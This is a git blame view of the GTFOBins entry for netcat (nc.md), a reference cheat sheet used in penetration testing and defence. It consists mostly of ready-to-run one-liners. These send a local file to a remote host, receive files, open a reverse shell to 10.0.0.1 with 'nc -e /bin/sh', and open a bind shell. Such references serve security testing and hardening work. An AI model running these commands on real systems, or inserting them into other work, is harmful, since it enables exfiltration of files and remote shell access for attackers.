1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/nc.md

29 lines
880 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
upload:
2018-05-22 19:51:52 +02:00
- description: |
Send a file to a TCP port. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end.
2018-05-21 21:14:41 +02:00
code: |
RHOST=10.0.0.1
RPORT=8000
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
download:
2018-05-23 00:29:51 +02:00
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end.
2018-05-21 21:14:41 +02:00
code: |-
LPORT=8000
2018-05-22 19:51:52 +02:00
LFILE=where_to_save
2018-05-21 21:14:41 +02:00
nc -l -p $LPORT > "$LFILE"
reverse-shell:
2018-05-22 19:51:52 +02:00
- description: Run `nc -l -p 8000` to receive the shell on the other end.
code: |
2018-05-21 21:14:41 +02:00
RHOST=10.0.0.1
RPORT=8000
nc -e /bin/sh $RHOST $RPORT
bind-shell:
2018-05-23 00:29:51 +02:00
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
2018-05-22 19:51:52 +02:00
code: |
2018-05-21 21:14:41 +02:00
LPORT=8000
2018-05-22 19:51:52 +02:00
nc -l -p $LPORT -e /bin/sh
2018-05-21 21:14:41 +02:00
---